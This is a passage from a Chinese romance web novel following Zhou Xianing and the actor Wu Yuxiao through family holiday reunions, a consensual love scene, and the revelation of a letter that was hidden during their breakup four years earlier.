武玉箫面前的的饺子皮儿只剩最后一个,周惠芳把皮儿拿过来,叫道:“东东过来秀个手艺。”
汪文东牵着周夏宁的手过来,武玉箫的脸顿时黑成了碳。他们这手都牵好久了。
“最后一个问题,《桃源绮梦》的酒局,你为什么缠着夏夏不让她去。”
周夏宁愣了半晌,那天没去酒局的原因,她谁也没告诉。她看了眼周姚,周姚摇摇头,他当时在大阪,不可能会知道她想要的答案。
武玉箫抬头看了眼汪文东,没好气儿地说道:“因为他给我发消息,说她要去和一个有钱有颜有故事,会酿酒会做甜品,很顾家,很门当户对,很适合结婚,很符合她审美标准的男人相亲。他能打包票,他一定是她的菜。所以,我强行飞回去,缠着她,不让她去酒局。”
周惠芳一掌拍在汪文东的背上,嚷道:“叛徒。”
易云祁可是她这个资深红娘精挑细选大半年才找出来的。连周夏宁自己都说,若是那天去了酒局,她很可能为了让武玉箫死心主动和易云祁交往。
人算不如天算,她算来算去算漏了这个叛徒。
汪文东将捏好的福袋饺子放在武玉箫的掌心处,笑道:“饺子要加醋吗?表姐夫。”
武玉箫眼中的阴霾一扫而光,吃惊地问道:“他是你表弟?”
周夏宁捏着他的脸,笑道:“是失散多年的红娘表弟。以后结婚摆酒席,他得坐主桌。”
“你有想过结婚的事儿?”武玉箫惊喜道。
周夏宁端起饺子径直往厨房走。她不过一时口快,谁要结婚?
武玉箫看她像兔子一样逃走了,呆呆傻笑。周夏宁一直躲在厨房不肯出来,周母嫌她碍事儿,走到武玉箫身边将周夏宁没有吃完的酥酪交给他,冲着厨房喊道:“你再不出来,你的酥酪我就给珠珠了。”
“那可不行。”
周夏宁瞬间出现在厨房门口,看到武玉箫拿着她的酥酪,嚷道:“什么啊,又忽悠我。”
突然,她的后背多了一道力。
周父:“去院子里堆个雪人,别在这儿杵着。”
周母给武玉箫递了个眼神,他走过去想牵她的手,却不由自主地看周父的眼色,撒娇道:“刚才我吃了好久的醋,你陪我去院子里散散醋味,好吗?”
周夏宁最抵不住他这人小奶狗的语气,乖乖跟着他走了。突然周母从身后将他们叫住:“外面冷,裹严实了再出去。”
周夏宁的手中出现了两件居家长袄,一件她的,一件他的。
武玉箫的心头有暖流淌过。她的父母正在慢慢接纳他,他离融入这个家又进了一步。
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周母:“院子宽敞,也没人,在那儿好好玩,别过来碍手碍脚。”
周夏宁愣了三秒,这是让他们独处的意思。这两周,她的老父亲以收拾屋子为由留她住家里,武玉箫每天来家里干活,但在她父母眼皮底下,他连她的手都不敢牵。
周夏宁放下酥酪,牵起他的手,笑道:“我们去堆雪人。吃饭了,叫我们。”
花园,腊梅树下。
武玉箫专心致致地堆雪人,快门声在他的身边环绕。树边的雪地上尽是留着她笑意的脚印。他堆雪人,她拍他。
突然,她喊道:“朝朝,看镜头。”
武玉箫抬头的瞬间,她隔空捏他脸的画面被她定格。一个雪球应声从他头顶飞过,砸在梅树枝上,带落点点梅花。
白雪红梅美男,这画面美得让人挪不开眼。
“朝朝,看镜头。”
周夏宁又拿起手机对着他一顿连拍。屋檐下的小人儿没等来预期的反应,不满地嘟嘴。她随意捏了个雪球,朝着镜头扔过去。
“珠珠,拍照呢。等会儿陪你玩。”
周夏宁转头,正巧看到她在吃她剩下的酥酪。见她终于看向她了,小女孩儿把酥酪塞到了汪文东手里,笑着跑进了漫天大雪里。
她兴奋地笑道:“夏夏姑姑,来抓我呀。抓不到我,那酥酪就都是我的了。”
周夏宁陪着女孩儿在院子里四处乱跑,被白雪覆盖的地上踩满了脚印。如铃般爽朗的笑声伴着飘落的雪花落在这间院子的每个角落。
武玉箫继续堆雪人,两周的假期转瞬即逝,他明天就要进组拍戏了。
在她的院子里堆个雪人,让她看见雪人就能想起他。等雪融化了,他就回来看她了。
“珠珠,看你住哪儿跑。”
小女孩儿突然从树后面蹿出来,躲到武玉箫的身后。周夏宁拽着武玉箫的衣角跟女孩儿僵持。
眼见她就要抓住她了,小女孩喊道:“文东哥哥,帮我。”
汪文东闻声笑道:“再往左走一步,雪人的手就被你踩碎了。”
周夏宁应声转头,她离那手臂还有两步的距离。此时,小女孩已经跑到了院门口,冲着她做鬼脸。
“玉箫哥哥谢谢你,帮我抢到了夏夏姑姑的酥酪。”
小女孩蹦蹦跳跳进了屋。
周夏宁孩子气儿地嚷道:“进屋做什么?我们接着玩。”
“我要吃酥酪了。你让玉箫哥哥陪你玩。”
小女孩往嘴里塞了一口酥酪,在窗边同周夏宁炫耀,全然没有发现她妈正火冒三丈地站她身后。
“周欣彤,刚才说好的最后一口呢?”
“啊,奶奶救我。”
小女孩抛下酥酪以火烧毛之势从周夏宁的视线中消失。
“乐极生悲,让她炫。”
轻快的笑声在武玉箫的耳边萦绕。看着她孩子气的笑颜,他不禁想,他们之间若是有个像珠珠那般活泼的孩子,她是不是每天都笑得这么开心?
“想什么呢?你最近好像经常对着我发呆。”
他眼中的沉醉比她父亲珍藏了十年的白酒都还要醉人。周夏宁情不自禁地染上红晕,见四下无人,踮起脚尖亲吻他的薄唇。
她试图加深这个吻,他突然偏头,不舍地回味她在他唇上留下的气息。
她不满地嘟嘴。最近他都这样,不拒绝她的主动,但不让深入下去。
“叔叔看见了会吃醋的。”
他轻轻拥抱了她,她现在同她父母住一块,该收敛的还是得收敛。若他是她父亲,他绝对不想看到他们在他家做这种刺激他神经的事情。
“等会儿回公寓,你想对我做什么,我绝不反抗。”
他蹲下身继续组装他的雪人。周夏宁在旁边安静地用雪做了个盘子,上面放着几个条状雪块。雪人的手臂装好后,她把盘子放了上去。
天空中的雪花飘在了上面,看起来很像她喜欢的桂花糖。
“桂花糖炒年糕?”武玉箫笑问道。
她点点头,奇怪道:“我做得这么抽象,你还认得出来?”
武玉箫握住她冻红的手,笑得灿若繁星。
夏朝朝最爱她喜欢的桂花糖炒年糕,这是她写的设定,也是他爱她的宿命。
25. 冰梅马蹄
晚上九点,夜荷员工公寓。
武玉箫从浴室出来的时候,卧室的灯突然熄灭。他裹着浴巾走到门口,墙边的感应灯应声亮起。借着微光,他看到她裹着被子坐在床中央。
她眼中有期待、有忐忑、也有捉弄。
她以“天冷起不了早床为由”陪着他回了公寓。临走时,她父亲脸色不大好,却也没有说什么。
“冷吗?需要我把温度调高点吗?”
武玉箫擦去头上的水珠,没有去调温度的意思。现在室温是最适合她穿单衣乱跑的29度,再调高她会喊热。
“你过来,我给你吹头发。”
周夏宁坐在原地,默默把被子往身上扯了扯。
这可不是要给他吹头发的意思。这个感应灯并不敏感,人站在跟前它才会一直亮着。她这是想趁着黑灯瞎火干坏事儿。
“我头发吹干了再过来。吹风机在浴室里。”
武玉箫转身向前走了两步,过了约莫十秒,感应灯熄灭了。他听到了脚步声,在感应灯再次亮起的时候,他回到了卧室门口。
微光之下,她雪白的胸脯透过深V吊带睡裙暴露在他的视线之下。他的目光突然变得火热。炙热的视线一路向下,最终停在她没有任何衣物遮掩的长腿上。
“很美。”
话音未落,感应灯被她拔了出来,屋里陷入一片黑暗。她想跑回床边的时候,他将她拥入了怀中,轻笑着在她耳边呢喃道:“我闭眼了,灯插回去。乱跑是会撞到箱子的。”
屋里放了很多她从LA带回来的箱子,她还来不及拆封整理。他的手在她的背上摩挲,她的脸烫得厉害。
“喜欢吗?”
语气里有些小期待。
“颜色不喜欢,你更适合穿橘色或者鹅黄。”
“还挑三拣四的。”周夏宁不满地嘟哝道。
灯重新亮起来的时候,武玉箫感到身上一阵寒凉。裹在身上的浴巾被她披在了身上。她知道他不会放过在微光里欣赏她姣好身材的机会。
感应灯的亮灯时间是十秒,周夏宁在灯熄灭之前跳到了床边,但是在门口的那人却依旧杵在那儿,没有跟过来的意思。
她坐在床中央,看着他大大方方地站在那儿,秀他的身材。
“喜欢吗?有没有哪儿不满意的?”
武玉箫缓慢转了个圈,让她能看清他全身的肌肉线条。他最近身上长了点儿肉,肌肉线条更美了。周夏宁亮起床头灯,对他勾勾手,“看着不错,不知道手感怎么样。过来,我摸摸。”
“明早很早要出门会吵到你,我去客厅睡。”
武玉箫拿着睡衣准备离开,周夏宁血气上涌,他都自动跳到碗里来了,怎么可能让他再跳出去。他这次进组少说也得两个月。
“你确定你要去客厅睡?”
屋里的射灯应声亮起,她一步一步走向他。她眼中的娇羞被强烈的胜负欲驱散,他都这么坦然地让她欣赏他的身材了,她怕什么?
他招惹了她,她不腻,他逃不掉。
“那这雪夜你要我陪吗?”
武玉箫拉起她的手在她的手背上印上一吻。周夏宁赤着脚踩在他的脚背上,手从他的腰腹一路向上,最后停在他的胸口,笑问道:“那你陪吗?”
武玉箫俯身环住她柔软的腰肢,将脑袋搁在她的肩头,她的温度透着薄薄的睡裙灼烧他的肌肤。他喉结轻动,迷恋地笑道:“乐意至极。”
在他蛊惑的声音里,系带的蝴蝶结被拉掉了一个角。睡裙突然有从身上滑落之势,她全身僵硬,他没敢再动。他可以试探,但决定权还是在她。
她迟迟没有动作,武玉箫随手关掉射灯。他扣紧她的系带,快步走到床边,用被子将她裹住。
他像抱着易碎的明清陶瓷一般轻轻地拥她入怀,柔声说道:“夏夏,谢谢你愿意穿成这样取悦我。你穿什么都很美。”
他转身去关床头灯,她亲热的时候不喜欢光亮。周夏宁有种一拳打在棉花上的感觉,她本意是穿这个去诱惑他,现在却变成被他发好人卡了。
“朝朝。”
周夏宁一出声,武玉箫便回了头,她扯下蝴蝶结的另一半,睡裙在他眼前滑落。他全身血液翻涌,这种感官刺激,强烈如罂粟,上头也上瘾。
她的吻落在他的唇角,她的身体同他一样都烫得似烧到39度的病人。他顾不上关灯,主动加深这个吻,他身体里的每一个细胞都在兴奋地颤抖。他把她压在身下,凭着本能在她的身上留下他的印记。
他不温柔,她反倒松了口气儿。他察觉到她的不专心,在她的腰上轻掐一把,她被他弄得有些痒,准备出声抗议,他绵密的吻将她的小不满封在肚子里。他的强势透过这种她不反感的方式暴露在她身前,她摸着他的耳垂,尽情地沉沦在被他挑起的情欲里。
在这个不大的空间,不长的时间里,他们都可以坦然地展露自己最真实的模样,没有伪装,没有束缚,没有恐惧。
屋外寒风呼啸,大雪纷飞,这样的场景与四年前在温哥华的那一夜极其相似,只是这次,她不打算再放过这个正在用迷醉的神情尽情亲吻她的男人。
这是她的朝朝,是陪她从无到有的亲密战友,是她想要独占的男人。
清晨六点,候机厅。
咖啡冒着的热气在空气中画出周夏宁在情欲中沉沦的美眸,武玉箫呆坐在椅子上,望着天花板发呆,脑海中情不自禁浮现出她的吊带睡裙在他身前滑落的画面。
尽管这一幕已经过去好几个小时,每每想起,他还是会热血翻涌,想要把她揉进骨血里。
她主动起来,就像百慕大三角的海妖,海员明知前方有陷阱也心甘情愿地掉进去。
第一次和她越界,也是在漫天雪夜。屋里壁炉的火烧得“噼啪”作响,她借着酒劲将他吃干抹净。那晚之后,他鼓足了勇气跟她说,“夏夏,五年之后,我们结婚吧。”
她装睡,没有给他任何回复。
从温哥华回去不到一个月,她就彻底失联。
他有点儿害怕和她欢爱,怕她不满意他在床上的表现,怕她玩尽兴了就将他一脚踢开。
他应该一直吊着她,让她看得到摸得到却吃不到。可他定力太差,她勾勾手指,他就举白旗屁颠屁颠地跑过去了。
能轻易睡到的人,无论男女都不会被珍惜。
下次,他一定要很有原则地拒绝她。要吊着她勾着她,诱惑她对他上心点儿,再上心点儿。
登机的时间到了,他把一旁的剧本放进随身携带的包里。突然,小包里冒出了一个熟悉的桂花糖福袋。
里面装着一小瓶相思梅,上面的便签条写着:猜到你大概率会调我的闹钟不让我早起送你。我就提前把话梅放进你的包里。不要太想我,我会在有空的时候多想想你……的腹肌。
相思梅道相思。
她喜欢他的身体,这色诱战术得贯彻到底。
丰亿大厦15楼。
还有十分钟,这新年之前的最后一天班就结束了。接下来迎接她的是长达半个月的假期。
周夏宁托着脑袋坐在电脑前,无心工作,空白的Word文档上写满了“朝”字。这一月以来,他每天都给她发他的肌肉照。好几次,她都想直接买了机票,在他拍戏的市区找个酒店,把他扑倒狠狠地蹂躏一番。
教导主任:你买马蹄了?
手机上出现了一个装满马蹄的泡沫盒子。
她上次同武玉箫说过,家里除夕要做冰梅马蹄,让他回来的时候带点儿。他原定今晚的飞机,温哥华飞陵城16个小时。再过一天,他们就能见面。
朝朝:临时加了几场戏,我除夕赶不回去了。这边的景拍完了,我们要转去多伦多。不确定元宵节之前,我能否回去。
离除夕还有三天时间,从陵城飞温哥华来得及。
夏夏:那我拖家
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带口去温哥华,大明星能在除夕空几个小时一起吃个晚饭吗?
手机那边迟迟没有回复,周夏宁以为他又去工作了。正准备收拾东西回去的时候,一条酒店预订信息弹出来了。
[尊敬的用户:欢迎预定艾森豪斯酒店,到店请出示预约码……]
这个酒店是他们四年前一起度假的酒店,在温哥华的近郊,景很美,性价比很高。
夏夏:闷声干大事?
朝朝:怕你反悔。我等你和爸妈。
周夏宁愣了半晌,他这改口改得真快。
教导主任:去温哥华度假过年是怎么回事?
[尊敬的用户:你预定的飞往温哥华的航班,将于明早十点在……]
周夏宁轻叹一声,真是自作孽啊。她的老父亲还指着过年回老家见他的老朋友呢。
夏夏:买机票的动作这么快?
朝朝:怕你没机票不来了。
夏夏:这么想我过去陪你过除夕?
朝朝:我想和你,爸妈,还有余姐,袁栎,一家人一起过除夕。
周夏宁突然觉得四年前她也许真的做错了,他想要的是一个有她和她家人的家,而不只是荷尔蒙的激情。只是他当时太年轻了,她不敢相信他给的承诺。
他父母早亡,余姐和袁栎与他既是利益共同体也是家人,他想要她的家人接纳他的同时也接纳她们。他很清楚,结婚结的是两姓之好,结的是两个利益共同体的兴衰荣辱。
艾森豪斯酒店,别墅906。
柠檬烤鱼的香气在空气中溢散,周夏宁坐在“噼啪”作响的火炉旁看着武玉箫的剧照发呆。
在那件黑色紧身透视衣的包裹下,他的腹肌若隐若现,引人遐想。这种没脱但又能隐约让人瞧见的程度,最是让人抓狂。
银灰色的SUV在风雪中砥砺前行,看到车停在门口,周父和周母拽着周夏宁去了门口。见到周夏宁的瞬间,武玉箫不管不顾地奔向她,在她父亲的眼皮底下,激动地拥抱了她。
“谢谢你,能和爸妈一起过来。”
周夏宁轻轻拍了拍他的背,航班一会儿晚点一会儿取消,这都是航空公司的问题,他居然怕成了这样。
“你俩要说什么进屋说,余姐吹不得风。”
周母从余芷手中接过礼物,拉着她和袁栎进了屋。周父本来对武玉箫这先斩后奏的行为很不满,可看他这如同流浪猫一样的可怜模样,憋了一肚子的重话,一句也没说出来。
“两个人,话说完了,再进来。”
周父留了门,放任他们在风雪里谈情说爱。热恋中的小情侣,情热似火,不怕冻。
“张嘴。”
武玉箫很配合地张了嘴。一块马蹄被塞到了他的嘴里。
“有相思梅的味道。”武玉箫惊讶地笑道。
“冰梅马蹄,相思踏马蹄而来。朝朝,我很想你。”
武玉箫左右看了看,确定四下无人,热情地与她拥吻。这么有吉祥寓意的马蹄,怎能他一个人独享?
他对她的思念,只会比她更多。
“夏夏,我们度蜜月的时候再来一次这里吧。订我们之前住的那个独栋。”
风雪里,他的眼睛水灵灵、亮闪闪的,周夏宁一时间鬼迷了心窍,点头道:“好。”
武玉箫不曾想她答应得如此爽快,兴奋地抱住她,试探道:“你也想和我有一个家,对不对?那个家里有爸妈,有余姐,有袁栎,有你有我有我们的孩子,还有你的亲戚们,还有葛意和他与袁栎的孩子们。”
周夏宁默默地抱紧他,没有答话。不可否认,在潜意识里,她确实想和他有个家了。她只是在等一个时点,一个理智坍塌的时点,就像在研究生毕业典礼上答应同他交往一样。
所有人都看得出来他很爱她,她也知道。只是,她需要一个契机让自己冲破理智的束缚,不管不顾地奔向他,然后勇敢地为自己的选择买单。
26. 盲盒汤圆
方城,雅韵茶社。
罗汉果的清甜散去心中烦闷,周夏宁淡然轻笑,平静地直视宋楠依写满怨恨的双眸。
十分钟前,这位区检察院法官家的大小姐不请自来,自动在她对面的位置落座,以苦大仇深的目光盯着她,一言不发。
她是隔壁武馆老板马叔的侄女,十天前刚和她的发小郝思洋结婚。她比她小三岁,除了在武馆打过照面,两人几乎没有交集。
“这茶很清甜,消火,你尝尝。”
周夏宁把还冒着热气的茶杯往女孩儿身前推了推,她平静淡然的模样像针一样扎在她的心头。
在她面前,她一直这样平静,似乎在她眼里她就是一个跳梁小丑。
“你不是说你不会再回方城了吗?骗子。”
女孩儿愤怒地打翻茶杯,昨天她刚回方城,郝思洋就爽了她的约。
“宋楠依,是郝思洋的父母给我父母发了你们婚礼的请帖,我家随了份子钱,但是因为一些原因,没有去吃席,他父母坚持要请我全家吃饭。我全家因为这个特地回了方城。我解释清楚了吗?”
昨天,郝思洋突然出现在餐厅包厢,她也吓了一跳。他在她离开的时候接听了她的电话,武玉箫因为这事儿同她生了三分钟的气儿。
“你可以不回来啊。他喜欢你,你不知道吗?”
宋楠依崩溃地大哭,周夏宁本来很生气,但看她哭得梨花带雨,又不知该如何安慰她。
她一直知道郝思洋喜欢她。因为知道,她才瞒着他参加了陵城大学武术特长生的特招考试。因为知道,她才在高考出分之后骗他,她要报惠明大学法学专业。因为知道,三年前她才坚持要去LA。
自打记事起郝思洋就一直在她身边转,两个人从幼儿园到高中都是同班同学。两家又是邻居,她父母不在家的时候,她会去他家蹭饭。他父母不在家的时候,他会去她家蹭课外辅导。在班里,郝思洋的成绩排名永远只比她低一名。她考去什么学校,他就跟去什么学校。
她回应不了他的感情,她才没有给他任何对她表白的机会。
宋楠依在她面前哭个不停,她想了很多说教的话,可是话到嘴边,她说不出口了。第一次在疗愈工作室见到姜澜的画面在她的脑海中浮现。她突然轻叹一声,安慰道:“我有以结婚为前提交往的对象了。我很爱他。不出意外今年年底我们就会登记结婚。这次没有参加你们的婚礼,是因为他在国外出差,我们全家去国外陪他过春节了。”
宋楠依的愤怒来自她严重缺乏的安全感,她一直认为郝思洋不能像她爱他那样去爱她是因为他有一个求而不得的白月光,而这个白月光也一直对郝思洋有意。
周夏宁耳边的哭声渐渐止住,这番话给了宋楠依一颗定心丸。她又给她倒了一杯清茶,说道:“喝点儿,润润喉咙。”
宋楠依正巧哭得喉咙痛,端起茶杯慢慢喝了两口。她安静下来后,周夏宁说道:“从你初三第一次因为他来找我,我就一直对你说‘我不喜欢他’。不要每次你和他之间出了问题就来找我。这里有我的亲戚朋友,我不可能因为要避开郝思洋就不回来了。你和他已经结婚了,他就算心里有人,那也是过去式。你如果非得向他索求与你同等程度的爱意,你只会把他推得更远。”
周夏宁将纸巾递到她的手中,她执拗地不肯接。
这些她都知道,可她就是希望他只看着她,只顺着她,只属于她。
“夏夏,对不起,给你添麻烦了。”
一道愧疚的声音在宋楠依的身后响起,听到声音,宋楠依又呜咽起来。
她给他发消息,他从来没有来得这么快过。他就是更喜欢他这个求而不得的发小。
“你们好好聊聊,我出去透透气儿。”
周夏宁把位置让给了郝思洋。她移动的时候,郝思洋的视线也随她而动。
突然,周夏宁听到一道响亮的巴掌声。
“你还要闹到什么时候?我说了很多次我和她没什么。”
郝思洋默默握紧拳头,若非她当初那么高调地在单位追他,逼得她的法官父亲用工作机会给他施压,他怎么可能答应和这个只会无度索求的大小姐交往。
“那是她不想和你有什么。”宋楠依委屈地哭道。
茶室那边有人探出脑袋,宋楠依的母亲走了过来,问道:“发生什么了?”
郝思洋在胸中郁结的怒气,在女人强势的目光下悄然被压下去。在这段婚姻里,他要的是权是势是向上爬的机会,不是情爱。
“没什么,她还在怪我昨天回父母家修凳子,没有陪她去看电影。”
他的语气平和轻柔,似乎刚才同宋楠依吵架的并不是他。这不是周夏宁第一次见他这副嘴脸,心中已经没有初见时的那种震撼。
女人离开之后,他拿着纸巾给宋楠依擦眼泪,哄道:“我们已经结婚了,过去的事儿就过去吧。”
他语气缓和下来之后,宋楠依才慢慢止住眼泪。
“我和她真的没什么。她有男朋友。你误会我没什么,我是你的,打骂都随你。夏夏的男朋友若是误会了,会给她造成困扰的。”
郝思洋像哄小孩一样耐心地哄着她,不知情的人会以为这个男人一定很爱他怀中的这个女人,但周夏宁看到了他眼中渐渐聚集的烦躁和厌恶。
他只是暂时因为她娘家的权势而给了她想要的温柔,这不代表她娘家没落之后,她还能从他身上得到这些。
周夏宁觉得心口堵得慌,郝思洋是她很好的朋友,她无法说他这么做是错的。宋楠依的父亲看中了他的工作能力,恰巧宋楠依一直缠着他,他才顺水推舟。两边都动机不纯,也无法辩个是非对错。
对男人来说,婚姻就是一个垫脚石,谁愿意当他们向上爬的石头,他们就会毫不犹豫地踩上去,等用完之后,再来嘲笑石头的天真。
相信男人有道德感,不如相信自己能中五百万。
男人不出轨,一定不是因为他们爱那个女人爱到了骨子里,而是因为出轨的代价他们支付不起。
这个就是三年前郝思洋给她现身说法的道理,三年后,他又重现了这一幕。周夏宁觉得再待下去她会没法呼吸,她快步向前走,突然她的手被人拽住。
“你把你那以结婚为前提的对象带过来给我见见,我以后就都不找你闹了。”宋楠依不依不饶道。
周夏宁为难地看向郝思洋,“他还在飞机上,落地还得倒时差。”
武玉箫为了回来陪她吃碗汤圆,通宵了两个晚上。从多伦多到方城要近20个小时的飞机,中间要转三次机,她可没有必要为了这夫妻俩的疑心病牺牲武玉箫的休息时间。
“那这样,今晚我俩去你家蹭两碗汤圆可以吗?”郝思洋问道。
这是周夏宁没法拒绝的提议。今晚本来她父母就邀请了他父母来家里吃汤圆。
“你们随意,但不要在他面前瞎说什么。他是个醋坛子。”
周夏宁的心突然提到了嗓子眼。昨天郝思洋就接了她一个电话,他就像炸毛的猫一样,怎么哄都哄不好。见到本人他会不会像刚生产完的母猫一般,随时发狂?
同心路,兰叶小区。
春夜寒风吹落点点腊梅,周夏宁抱着一束迎春花在路上走着八字步。家里现在挤满了人,她连落脚的地儿都找不到。在回程的飞机上,她的老父亲突然决定要把他带回来溜一圈。这次通知得太匆忙,家里的亲戚没来全。
出租车在路边停下后,武玉箫从车里下来,见到周夏宁的身影,他放下行李箱,像大狗狗一样扑向了她。
“夏夏。”
武玉箫热烈地将她拥入怀中,脸上明媚的笑容与她手中的迎春花一样美好而富有生机。她笑得如天上的北极星那般闪亮,依恋地将脑袋靠在他的胸口,任春天的气息将她牢牢包裹。
“比花还娇的朝朝,祝你无论在何种境地都能熬过严冬,迎到春来,见到花开。”
迎春花,迎接万物复苏的希望与喜悦。
武玉箫俯身亲吻她的脸颊,因为太过小心翼翼,他全身都在颤抖。如此浪漫的祝词,是她开始对他上心的证明。
“夏夏,我回来得太匆忙没有给你带礼物,今晚我把自己送给你,好吗?”
武玉箫藏起手中的小方盒,相比于礼物,今晚他更想送她一个火热的无眠夜。
周夏宁轻笑着摇头,“今晚我们得在家里留宿。”
在她老父亲的眼皮底下,他什么都做不了。
武玉箫嘟着嘴表示遗憾,眼中并无失落。这可是她父母第一次留他在家里留宿。他离成为这个家的一份子又进了一大步。
“夏夏。汤圆好了。”
郝思洋从巷口冒出来,看着两人交缠的身影,他的眼中浮现出了浓重的妒意。他一眼就认出了武玉箫,认出了他就是周夏宁笔下的夏朝朝。
听到这刺耳的叫喊声,武玉箫像被侵犯了领地的雄狮一般,警惕地看着这个觊觎他宝贝的猎人。这个声音,他认识,他不只昨天听到了,三年前,她刚失联的时候,他也听到过。
“思洋,你家那口子呢?这就是我的……”
武玉箫紧张地看着她,很期待她接下来的介绍。
“朝朝。”
这是她给他挂的门牌,这是独一无二的身份。武玉箫如此安慰自己。
“这是郝思洋,我发小、邻居、好友、兼哥哥。”
她给出的所有身份都和男女之情不沾边,武玉箫这才放心地和对方握了手。喜欢她的人很多,她没动心思的都算不上情敌。
“我们进去吧。我的亲戚们都等着见你,一起吃汤圆。”
周夏宁挽着他的胳膊从郝思洋的身边经过,她身上的淡然平静有治愈人心的力量,但她的眼里只有那个手里拿着花看她傻笑的男人。他眼中的情太浓,只要没瞎,都能看出他很爱她。
这就是她要的夏朝朝,有车有房父母双亡,上得厅堂下得厨房,受得了气上得了床,去得了高峰熬得了低谷,恪守男德爱己而爱她。
这是她努力想要活成的样子,是她想在经历高峰低谷后依旧葆有的纯粹而热烈的爱意。
郝思洋望着两人相携离去的身影突然就不想进屋了。她的世界很美好,但他进不去,因为他无法像刚才那个男人那样在看向她的时候,眼里只有情而没有利益和算计。
武玉箫进屋后,屋里的每一个人都送了他一支迎春花,祝他喜迎春来,漫看花开。
武玉箫激动得热泪盈眶,这样的祝福太美好,他感觉自己在做梦。他狠狠地掐了自己一把,很疼,很幸福。
“吃汤圆吧。”
周父拍了拍他的背,将一碗热腾腾的汤圆放在他的掌心,把他和周夏宁推去了院子里。那里在这短短的十几分钟里,是独属于他们的空间。
红梅树下,周夏宁拿着勺子,将汤圆放进嘴里,咬了一小口,试了味道之后,再将剩下的部分喂到他的嘴里。
家里的汤圆都是混着煮的,有黑芝麻馅、红枣馅、红豆馅、肉馅、没有馅……每吃一个都像开盲盒。
“夏夏,最后一个,我先试,好不好?”武玉箫兴奋地说道。
周夏宁把汤圆递到他的嘴边,他轻咬一口,里面什么馅都没有。仅有的十个无馅汤圆被他吃到一个,她不知他这运气是好还是不好。
“夏夏,这个味道很好。你试试。”
周夏宁可不信,可他一脸兴奋。看着他亮闪闪的眼睛,她觉得这糯米团子甜得腻人。
“是不是味道很好?”武玉箫问道。
周夏宁点点头,踮脚吻上了他的唇。糯米很甜,他更甜。
冬去春来,风过花开,屋里有家人相陪,屋外有爱人相伴,团团圆圆,平平淡淡,这就是幸福的味道。
宋楠依看着两人拥吻的画面,眼里燃起了妒火,这样温暖的爱意,是她渴望从郝思洋身上得到却是他给不起的东西,但是她选的男人给她了。
郝思洋在这个男人面前输得很彻底,宋楠依轻蔑地笑了笑,他怪她在周夏宁高考填志愿的时候去找她,逼得她改了志愿断了两个人的缘分,殊不知她是因为知道他给不起她要的爱和婚姻,才主动逃跑了。
郝思洋和她一样,都是被人抛弃的可怜虫,他们今生注定要纠缠至死。
宋楠依走到周夏宁的身边,将一个信封塞给了她,客套地说道:“祝你们幸福。”
周夏宁不太习惯她这乖巧有礼的模样,望着她离去的身影愣了许久。
信封上的字迹是武玉箫的。
信上写道:
夏夏,有什么话我们当面说好不好?
我知道你父亲生病了你现在思绪很乱,我没有办法陪你,也没有办法帮你做任何事情。我不想分手,不想就这样结束。
我们先试着异地恋三个月,如果你还是坚持分手,我就不再打扰你。我的戏还要拍两个半月,戏拍完了我再来找你。那个时候你再给我回复,好不好?
不要这么快给我判死刑,我会好好努力的,让你相信即便你回了老家,即便我们很难见面,我们的感情也不会受影响
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。
信上的落款日期是四年前的1月24号。
那正是雅韵茶社在闭店两周后再次开门营业的日子,而那天去店里帮忙的正是郝思洋。
周夏宁拿着信在屋檐下找了个地方坐下,她脑子很乱,需要吹吹风理理思绪。她回到方城后不久,手机浸水了,她不敢去街边的手机店修手机,就托周姚把手机带去亿星修理,公司给了她一个备用机。她给武玉箫发了消息,可她一直没有等到他的联系。
一连三个月没联系,她就托周姚在他杀青那天把小猪存钱罐交给他。那个存钱罐里只有一张字条,字条上只写了一句话:我们不合适,分手吧。
她答应同他交往的时候与他约定过,连续三个月每个月见面次数少于三次,默认为分手。
这分手策略,她当时想了很久。他对她太好了,几乎到了含在嘴里怕化了,捧在手里怕碎了的程度。三个月疏于联系,让他因为违规被判定为异地恋,这是她能够想到的唯一能让他接受分手的理由。
她以为他没有联系她,是因为一切都在按照她的计划进行。
武玉箫静静地站在她身后,不敢吱声。她情绪低落的时候不喜欢有人安慰,他只需要陪在她身边。
“好冷,抱抱。”
周夏宁指着身旁的位置,示意他过去。他刚坐下,她的脑袋就靠在了他的肩头,他搂着她的腰,把她圈在温暖的爱意里。
她闭上眼,静静听着风过的声音。
那些都是过去的事情了,就算当时她收到了这封信,她也不会因为心软而回头。这种错过,不过让她更加没有留念地离开。她想把分手对他的情感伤害降到最低,但她弄巧成拙了。
武玉箫看到字条后,不到半小时,就从威亚上掉下来,差点儿没救回来。
余芷通过轻荷联系了她,让她去看看他,但是在病房门口,袁栎把她拦下了。她离开后,她又追到医院门口,冲她吼道:“既然抛弃了他,就不要回头。他有人爱,他病好了就会重新回到银幕,闪闪发光。他会很耀眼,会让你后悔抛下他。”
她再回方城的时候,正巧碰到了流感大爆发,她因为赶稿一直拖着没有去医院,而那个时候袁栎每天都在用他的邮箱给她发邮件,那些邮件成了重压之下压倒她的最后一根稻草。她硬生生把小感冒拖成了肺炎,被送进了抢救室。
被抢救回来之后,她父母一改之前的态度,不催婚了,不拦着她通宵写文了,不反对她出国了,将茶舍和毛线店都交给了别人打理,陪着她去了LA。
一切都如此有戏剧性。
在武玉箫以为她睡着了准备抱她进屋的时候,她突然轻声问道:“四年前,我给你发了‘你好,我是冰夏,请联系我’的短信,你为什么没有联系我?”
武玉箫默默搂紧她的腰,苦笑道:“我打电话过去的时候,郝思洋接的。他说那是他的手机,我收到的是垃圾短信。然后我就把那条短信删掉了。”
因为那个时候他收到了太多这样约他出去、骗他回复的消息。
这是多么讽刺的事情。
他做了那么多努力,不过是想要个她的联系方式,与她顺畅地沟通。她一开始就把沟通的桥梁搭好了,而他却因为别人的一句否定,亲手毁了这个桥梁。他之后遭的罪,确实是自作孽。
“如果当时我联系你了,你会给我一个挽回你的机会吗?”
武玉箫在她的耳边轻声呢喃,他的声音如羽毛般轻柔,周夏宁打了个哈欠,蜷在他的怀中,轻轻摇头,“不会。”
这是预料中的答案,武玉箫把她抱起来,缓缓走向屋里。那里灯火通明,笑语连连,清冷的空气里弥散着汤圆的香气还有温暖的爱意。
她是被爱浇灌长大的白天鹅,若非她离开了这个庇护她的家,与他在风雨中相遇,他怕是连见她一面的机会都没有。
她大可像宋楠依一样靠着父母的庇护找一个对她百依百顺伺候她的男人,看在财产的份上,那人只会比他更会讨她的欢心。
可她在陵城奋斗了近十年,一点一点儿打下属于自己的江山,成为了不需要靠她父母庇护,也能过得很好的人。而他有的不过是与她不相上下的成绩,和被她垂怜的爱意。
